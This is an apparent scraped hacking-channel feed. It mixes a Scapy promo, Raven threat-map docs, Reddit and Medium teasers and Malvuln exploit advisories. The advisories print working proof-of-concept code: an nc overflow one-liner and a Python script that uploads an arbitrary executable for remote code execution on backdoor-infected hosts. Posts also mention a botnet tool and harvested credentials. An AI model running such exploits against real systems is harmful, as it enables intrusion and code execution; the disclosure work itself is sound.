Black Hat Ethical Hacking
Offensive Security Tool: Scapy

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: ScapyPost Views: 11 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes

Offensive Security Tool: Scapy GitHub Link ScapyScapy is a powerful Python-based interactive packet manipulation program and library.

It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, store or read them using pcap files, match requests and replies, and much more. It is designed to allow fast packet prototyping by using default values that work.

It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, wireshark, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can’t handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VoIP decoding on WEP protected channel, …), etc.

Scapy supports Python 2.7 and Python 3 (3.4 to 3.9). It’s intended to be cross platform, and runs on many different platforms (Linux, OSX, *BSD, and Windows).

This tool is very powerful for Pentesters and Red Teams for performing highly sophisticated and quick action when inside a network. From Capturing VoIP and decoding conversation, to poisoning techniques and wireless injection attacks – in order to assess someone’s internal network infrastructure and how exposed they can be.
See Also: Complete Offensive Security and Ethical Hacking Course Getting startedScapy is usable either as a shell or as a library. For further details, please head over to Getting started with Scapy, which is part of the documentation.
Scapy can easily be used as an interactive shell to interact with the network. The following example shows how to send an ICMP Echo Request message to github.com, then display the reply source IP address:
sudo ./run_scapy Welcome to Scapy >>> p = IP(dst="github.com")/ICMP() >>> r = sr1(p) Begin emission:
.Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> r[IP].src
'192.30.253.113'
See Also: Offensive Security Tools Collection: Red Teaming Tactics and Techniques ResourcesThe documentation contains more advanced use cases, and examples.

Other useful resources:

* Scapy in 20 minutes
* Interactive tutorial (part of the documentation)
* The quick demo: an interactive session (some examples may be outdated)
* HTTP/2 notebook
* TLS notebooks InstallationScapy works without any external Python modules on Linux and BSD like operating systems. On Windows, you need to install some mandatory dependencies as described in the documentation.

On most systems, using Scapy is as simple as running the following commands:
git clone https://github.com/secdev/scapy cd scapy
./run_scapy
To benefit from all Scapy features, such as plotting, you might want to install Python modules, such as matplotlib or cryptography. See the documentation and follow the instructions to install them.
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Red-Teaming-Tactics-and-Techniques-90x90.png Offensive Security Tools Collection: Red Teaming Tactics and Techniques7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/metagoofil-90x90.png Recon Tool: Metagoofil1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/[...]

___________________________
@hacking_Attack
@Hacking_Video

02/swaks-1-90x90.png Offensive Security Tool: Swaks – Swiss Army Knife for SMTP2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Odin-90x90.png OSINT & Recon Tool: Odin2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre-90x90.png Offensive Security Tool: Sandbox Defender3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream1 month ago
The post Offensive Security Tool: Scapy first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Found ~1,000 user/pass combinations on multiples computers at a business center in Tampa Resort/Casino

submitted by /u/BAFrase
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Teardroid v4 easy to use android botnet work without port forwarding, VPS and android studio

https://external-preview.redd.it/jjr4yBFu5GRUQy5zi4ugLN9MT99cSAOZLU6jJIsG3H0.jpg?width=640&crop=smart&auto=webp&s=9ffa4ac04fdb566ccf098ea3505be49341583ad8 submitted by /u/Way_Tough
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any reports of Reddit iOS app compromise?

I hope this is in keeping with this sub's rules. It isn't intended to be an "I got hacked" post (as honestly I don't know if I did), but rather curious to know about what the community may be aware is actively happening.

So this may be me being super paranoid, but moments after I posted this, mildly anti-Russian, comment on the Ukraine live news post, the Reddit iPhone app that I was then using closed and installed an update.

I can't remember an app ever before closing and updating whilst in use (albeit I do have automatic updates enabled, the latest Reddit app in the App Store is a few days old now).

Are there any reports of the app having been compromised—or, worse, being actively exploited by pro-Russian elements?

submitted by /u/eggyal
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking my own YouTube channel I lost an year ago

Hello. I may be really off here asking this question in this subreddit but if so please let me know and I'll take down the post and perhaps you can share me an appropriate subreddit for these kinds of questions. The deal is I've lost both my gmail and password for a Youtube channel I created an year ago. I've done everything a person can in such situation and have concluded that the only way to regain my account is by hacking it. And was wondering if anyone could possibly help with the process. I haven't hacked anything in my life before. AGAIN, IMPORTANT NOTE: please let me know if this post is completely out of line to post in this subreddit, I will take it down and if you are kind enough, please let me know a subreddit that could perhaps help. Thank you for reading.

submitted by /u/crypto_dababy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Raven : Advanced Cyber Threat Map (Simplified, Customizable, Responsive)

Raven – Advanced Cyber Threat Map (Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, ~100,000 cities, and can be used in an isolated environment without external lookups!.

Features

* Uses D3.js (Not Anime.js)
* Active threat map (Live and replay)
* IP, country, city, and port info for each attack
* Attacks stats for countries (Only known attacks)
* Responsive interface (Move, drag, zoom in and out)
* Customize options for countries and cites
* 247 countries are listed on the interface (Not 174)
* Optimized worldmap for faster rendering
* Includes IP lookup, port information
* Random simulation (IP, country, city)
* Can be used online or offline (Static)
* Theme picker module Data

You have different options ip, name, and coordinates* ipprivate or public ip -> any of these IPs -> 0.0.0.0or 8.8.8.8as {'from':'0.0.0.0','to':'8.8.8.8'}* namecity,state,country -> any of these formats work -> seattle,wa,usor 0,usas {'from':'seattle,wa,us','to':'0,in'}* coordinatesLatitude and Longitude as {'from':['-11.074920','-51.648929'],'to':['51.464957','-107.583864']}Method 1 – Embed it and interact with it

//You only need to embed this iframe in your project.

//Then, run the initialization script with your custom settings – That’s all!
script type=”text/javascript”>
document.getElementById(‘raven-iframe’).addEventListener(“load”, function() {
var raven_options = {
‘world_type’: null,
‘selected_countries’: [],
‘remove_countries’: [‘aq’],
‘height’: window.innerHeight,
‘width’: window.innerWidth,
‘backup_background_color’: ‘#212222’,
‘orginal_country_color’: ‘#737373’,
‘clicked_country_color’: ‘#6c4242’,
‘selected_country_color’: ‘#ff726f’,
‘attack_output’: true,
‘global_timeout’: 2000,
‘global_stats_limit’: 10,
‘db_length’: 1000,
‘location’: ‘scripts’,
‘panels’: [‘multi-output’, ‘single-output’,’tooltip’, ‘random’, ‘insert’,’taskbar’],
‘disable’: [],
‘verbose’: true
}
window[‘raven’] = document.getElementById(‘raven-iframe’).contentWindow.raven
window[‘raven’].init_all(raven_options)
window[‘raven’].init_world()
});
//After that, you can plot any data you want
raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
Plotting data (functions)

raven.add_marker_by_name() //Plot info by country or city name
raven.add_marker_by_ip() //Plot data by IP address
raven.add_marker_by_coordinates() //Plot data by coordinates
marker_object //An object {‘from’:”,’to’:””} see examples
colors_object //An object {‘line: {‘from’: ”#FF0000′,’to’: ‘FF0000’}} this the color of the line between 2 points – (if null, then a random color will be picked)
timeout //Animation time out
options = [] //A list of options such as animation marker

Plotting data (As line, from -> to)

raven.add_marker_by_name({‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’])
raven.add_marker_by_ip({‘from’:’0.0.0.0′,’to’:’0.0.0.0:53′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’])
raven.add_marker_by_coordinates({‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’])

Plotting data (As point)

raven.add_marker_by_name({‘from’:’portland,or,us’,’to’:null},{‘line’:{‘from’:null,’to’:null}},2000,[‘point’])
raven.add_marker_by_ip({‘from’:’8.8.8.8′,’to’:null},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘point’])
raven.add_marker_by_coordinates({‘from’:[‘-11.074920′,’-51.648929′],’to’:null},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘point’])

[...]

___________________________
@hacking_Attack
@Hacking_Video

Plotting data + adding it to the output table (function)

raven.add_to_data_to_table() //Plot info and add them to the output table
method //Name, IP or coordinates
marker_object //An object {‘from’:”,’to’:””} see examples
colors_object //An object {‘line: {‘from’: ”#FF0000′,’to’: ‘FF0000’}} this the color of the line between 2 points – (if null, then a random color will be picked)
timeout //Animation time out
options = [] //A list of options such as animation marker ‘line’, and plot place ‘multi-output’ or ‘single-out’ table or both

Plotting data + adding it to the output table (As line, from -> to)

raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
raven.add_to_data_to_table(‘ip’,{‘from’:’0.0.0.0′,’to’:’0.0.0.0:3389′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’,’multi-output’])
raven.add_to_data_to_table(‘coordinates’,{‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’,’single-output’])

Plotting data + adding it to the output table (As point)

raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
raven.add_to_data_to_table(‘ip’,{‘from’:’0.0.0.0′,’to’:’0.0.0.0:3389′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’,’multi-output’])
raven.add_to_data_to_table(‘coordinates’,{‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’,’single-output’])

Method 2 – Embed it, and use websocket for plotting

Raven Map

You only need to embed this iframe in your project.
iframe id=”raven-iframe” src=”src/raven.html” frameborder=”0″ width=”100%” height=”100%” scrolling=”auto”>
script type=”text/javascript”>
document.getElementById(‘raven-iframe’).addEventListener(“load”, function() {
var raven_options = {
‘world_type’: null,
‘selected_countries’: [],
‘remove_countries’: [‘aq’],
‘height’: window.innerHeight,
‘width’: window.innerWidth,
‘backup_background_color’: ‘#212222’,
‘orginal_country_color’: ‘#737373’,
‘clicked_country_color’: ‘#6c4242’,
‘selected_country_color’: ‘#ff726f’,
‘attack_output’: true,
‘global_timeout’: 2000,
‘global_stats_limit’: 10,
‘db_length’: 1000,
‘location’: ‘scripts’,
‘panels’: [‘single-output’],
‘disable’: [‘multi-output’,’tooltip’, ‘random’, ‘insert’,’taskbar’,’move_to_country’],
‘websocket’:{‘server’:’ws://localhost:5678′,
‘request_timeout’:3000},
‘verbose’: false
}
window[‘raven’] = document.getElementById(‘raven-iframe’).contentWindow.raven
window[‘raven’].init_all(raven_options)
window[‘raven’].init_world()
window[‘raven’].fetch_data_from_server()
});
Plotting data – Send the json object using Websocket ws://localhost:5678

{
“function”:”marker”,
“method”: “ip”,
“object”: {
“from”: “0.0.0.0”,
“to”: “0.0.0.0”
},
“color”: {
“line”: {
“from”: “#977777”,
“to”: “#17777”,
}
},
“timeout”: 1000,
“options”: [
“line”,
“single-output”,
“multi-output”
]
}

Plotting data and add to table – Send the json object using Websocket ws://localhost:5678

{
“function”:”table”,
“method”: “name”,
“object”: {
“from”: “0,us”,
“to”: “0,br”
},
“color”: {
“line”: {
“from”: “#977777”,
“to”: “#17777”,
}
},
“timeout”: 1000,
“options”: [
“line”,
“single-output”,
“multi-output”
]
}

Run simulation (Isolated)

sudo docker build -t simulation . && sudo docker run -p 5678:5678 -p 8080:8080 -it simulation Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tips for looking for internship/job while in college!

When I got into college I had it in my head that you had be a senior/junior to get an internship. This is not the case, you can apply to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How DeFiHelper Keeps Your Funds Safe

https://cdn-images-1.medium.com/max/1280/1*NKltu-VceJDBD1YS_ncpZA.jpeg
Security is a matter of life and death for all cryptocurrency users. How do we address it in DeFiHelper?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
A Backdoor Lockpick

https://cdn-images-1.medium.com/max/1920/1*Rw4-RtU8X-RkKlc0LElhIw.png
Reversing and Subverting Phicomm’s Backdoor Protocols

Continue reading on Tenable TechBlog »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CEH or eJPT? After 12th!

https://cdn-images-1.medium.com/max/640/1*D5FE3rtRMx2fYcDGge9KGQ.jpeg
Yes! you believe it or not but there is really a huge difference between these courses, even if we talk about practical knowledge or the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is Ethical Hacking right for you? Read this.

https://cdn-images-1.medium.com/max/1000/1*VnFXt9nToOS2qj7orBsDZg.jpeg
Today’s question of the day is that, Is Ethical Hacking right for you? In this blog, I will be discussing with you in full detail…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.BNLite Buffer Overflow

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
Backdoor.Win32.BNLite malware suffers from a buffer overflow vulnerability.

MD5 | dbde5bac13398ffd2ee1d5e6cfbbb825

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/0d1f873f6816debd244e1e77509f6ba7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Stack Buffer Overflow
Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk payload.
Family: BNLite
Type: PE32
MD5: 0d1f873f6816debd244e1e77509f6ba7
Vuln ID: MVID-2022-0502
Dropped files: procmon.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 03/03/2022

Memory Dump:
EAX : 00004141
EBX : 027BD120
ECX : 41414141
EDX : 41414141
EBP : 0019FC08
ESP : 0019FA48
ESI : 027BD128
EDI : 02780000
EIP : 776E2D6A ntdll.776E2D6A
Exploit/PoC:
C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Polkit pkexec Privilege Escalation

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
This is a Metasploit module for the argument processing bug in the polkit pkexec binary that leads to privilege escalation. It leverages the raw C exploit.

MD5 | 1c7b71c2b42bec0e323126452fba5502

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Augudor.a Remote File Write / Code Execution

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Backdoor.Win32.Augudor.a malware suffers from an unauthenticated remote file write vulnerability that allows for remote code execution.

MD5 | 307497cf2d25c4327634eee90f50da5a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write - RCE
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.
Family: Augudor
Type: PE32
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1
Vuln ID: MVID-2022-0501
Dropped files: zy.exe
Disclosure: 03/03/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()
s.close()

print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")
print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video